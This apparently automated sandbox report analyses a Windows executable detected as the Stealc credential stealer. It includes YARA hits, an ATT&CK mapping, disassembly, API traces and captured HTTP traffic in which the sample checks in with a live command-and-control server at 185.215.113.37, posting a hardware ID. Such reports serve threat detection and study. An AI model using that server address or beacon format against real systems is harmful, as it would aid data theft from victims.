Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00146920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00146920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00147850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00147850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00147A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00147A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.130000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2066181737.000000000100E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2024949095.0000000004E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1520, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.130000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2066181737.000000000100E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2024949095.0000000004E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1520, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	42%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://185.215.113.37/E	17%	Virustotal		Browse
http://185.215.113.37/ws	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpy	17%	Virustotal		Browse
http://185.215.113.37/2	17%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/E	file.exe, 00000000.00000002.2066181737.000000000100E000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37	file.exe, 00000000.00000002.2066181737.000000000100E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware URL Reputation: malware	unknown
http://185.215.113.37/2	file.exe, 00000000.00000002.2066181737.0000000001068000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/ws	file.exe, 00000000.00000002.2066181737.0000000001068000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpy	file.exe, 00000000.00000002.2066181737.0000000001068000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1523176
Start date and time:	2024-10-01 08:19:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	2
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 81% Number of executed functions: 19 Number of non-executed functions: 86
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Report size getting too big, too many NtQueryValueKey calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9476080917684975
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'858'048 bytes
MD5:	564e5677e7262707df20c3ea7f110513
SHA1:	be8c6288b0baf0bd470e6ab8174e85c03470e0f5
SHA256:	8ed1f28fe0588fd7e27b22329ba5c2cbed9bf6aeec4e2e4dbe2cf751f2f1d629
SHA512:	32512119af4d302374cb3abf690ca20ddeaf99d542e91840b92f3ec3d04bb201e62cc785c2464db67011d010ea5ea0de08b6ae9d176c69d5ddf6f608123ed81c
SSDEEP:	49152:O5J2ApiaFNyPOqc9Tw0hUiunNiAfuetwA3tsPdDxnz7:O5JnXNym19k0hUiu8Ameth3G1Dh
TLSH:	0B85331A1C599D3CEA9F667D235B53EB60B5FD4E24E800B70FA61476E03A3423B3254E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaa5000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F5B4CB29F9Ah
pabsb mm0, qword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F5B4CB2BF95h
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
mov cl, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	b1bcb43454d2b3d21b9b457ab2abc631	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2a6000	0x200	643e7c0bd22689a496ad5e5ca1161f8b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xlnfjtas	0x504000	0x1a0000	0x19f800	b5e25e1bc4819a19089f9d44b4dfbc55	False	0.994943263011432	data	7.954276086869488	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vyivhryn	0x6a4000	0x1000	0x400	650ee8548618859a8d4792c23bbe8fdd	False	0.7841796875	data	6.0609524178209915	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a5000	0x3000	0x2200	68fc64b19066323e0e5e1cf865dacd6a	False	0.1032858455882353	DOS executable (COM)	1.2308457568560487	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-01T08:19:58.612159+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 1, 2024 08:19:57.505016088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 1, 2024 08:19:57.680705070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 1, 2024 08:19:57.680803061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 1, 2024 08:19:57.681005955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 1, 2024 08:19:57.686271906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 1, 2024 08:19:58.381277084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 1, 2024 08:19:58.381346941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 1, 2024 08:19:58.384572983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 1, 2024 08:19:58.389328003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 1, 2024 08:19:58.612097025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 1, 2024 08:19:58.612159014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 1, 2024 08:20:02.679986000 CEST	49704	80	192.168.2.5	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.37	80	1520	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 08:19:57.681005955 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 08:19:58.381277084 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 06:19:58 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 1, 2024 08:19:58.384572983 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKKKEBFCGDBGDGCFHCB Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 31 41 31 35 35 39 32 32 44 46 35 31 36 36 30 34 39 33 34 38 35 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 2d 2d 0d 0a Data Ascii: ------AAKKKEBFCGDBGDGCFHCBContent-Disposition: form-data; name="hwid"31A155922DF51660493485------AAKKKEBFCGDBGDGCFHCBContent-Disposition: form-data; name="build"doma------AAKKKEBFCGDBGDGCFHCB--
Oct 1, 2024 08:19:58.612097025 CEST	210	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 06:19:58 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	02:19:53
Start date:	01/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x130000
File size:	1'858'048 bytes
MD5 hash:	564E5677E7262707DF20C3EA7F110513
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2066181737.000000000100E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2024949095.0000000004E60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00149860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,010206C0), ref: 001498A1
GetProcAddress.KERNEL32(75900000,010205A0), ref: 001498BA
GetProcAddress.KERNEL32(75900000,010205B8), ref: 001498D2
GetProcAddress.KERNEL32(75900000,01020780), ref: 001498EA
GetProcAddress.KERNEL32(75900000,01020678), ref: 00149903
GetProcAddress.KERNEL32(75900000,01028AA0), ref: 0014991B
GetProcAddress.KERNEL32(75900000,01016700), ref: 00149933
GetProcAddress.KERNEL32(75900000,010167A0), ref: 0014994C
GetProcAddress.KERNEL32(75900000,01020618), ref: 00149964
GetProcAddress.KERNEL32(75900000,01020810), ref: 0014997C
GetProcAddress.KERNEL32(75900000,01020720), ref: 00149995
GetProcAddress.KERNEL32(75900000,010207B0), ref: 001499AD
GetProcAddress.KERNEL32(75900000,01016A00), ref: 001499C5
GetProcAddress.KERNEL32(75900000,01020648), ref: 001499DE
GetProcAddress.KERNEL32(75900000,01020690), ref: 001499F6
GetProcAddress.KERNEL32(75900000,010168A0), ref: 00149A0E
GetProcAddress.KERNEL32(75900000,010206A8), ref: 00149A27
GetProcAddress.KERNEL32(75900000,010208A0), ref: 00149A3F
GetProcAddress.KERNEL32(75900000,01016800), ref: 00149A57
GetProcAddress.KERNEL32(75900000,01020918), ref: 00149A70
GetProcAddress.KERNEL32(75900000,01016820), ref: 00149A88
LoadLibraryA.KERNEL32(010208B8,?,00146A00), ref: 00149A9A
LoadLibraryA.KERNEL32(01020858,?,00146A00), ref: 00149AAB
LoadLibraryA.KERNEL32(010208D0,?,00146A00), ref: 00149ABD
LoadLibraryA.KERNEL32(010208E8,?,00146A00), ref: 00149ACF
LoadLibraryA.KERNEL32(01020870,?,00146A00), ref: 00149AE0
GetProcAddress.KERNEL32(75070000,01020888), ref: 00149B02
GetProcAddress.KERNEL32(75FD0000,01020900), ref: 00149B23
GetProcAddress.KERNEL32(75FD0000,01028DF0), ref: 00149B3B
GetProcAddress.KERNEL32(75A50000,01028C40), ref: 00149B5D
GetProcAddress.KERNEL32(74E50000,010169E0), ref: 00149B7E
GetProcAddress.KERNEL32(76E80000,01028AF0), ref: 00149B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00149BB6

Strings

NtQueryInformationProcess, xrefs: 00149BAA

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: f4730380f9c9e9e980e273af06bdb9e5d7192fe967c7147d1adf4cdff0a0da4a
Instruction ID: 9acfe3d4cd8a4a292fff3ae24b2a08b4de6001544d399fc1767fd941f02f2245
Opcode Fuzzy Hash: f4730380f9c9e9e980e273af06bdb9e5d7192fe967c7147d1adf4cdff0a0da4a
Instruction Fuzzy Hash: 76A149B5504A80AFD36AEFA8ED8995A3BFDF7C8301F04451AA61D83264D63998C1DF13

Function 001345C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0013460E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0013479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00134678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00134638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00134734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00134683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001345C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00134770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0013471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001346CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001346B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00134662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001346C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001346D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00134622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00134729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0013475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0013474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0013466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 001345D2
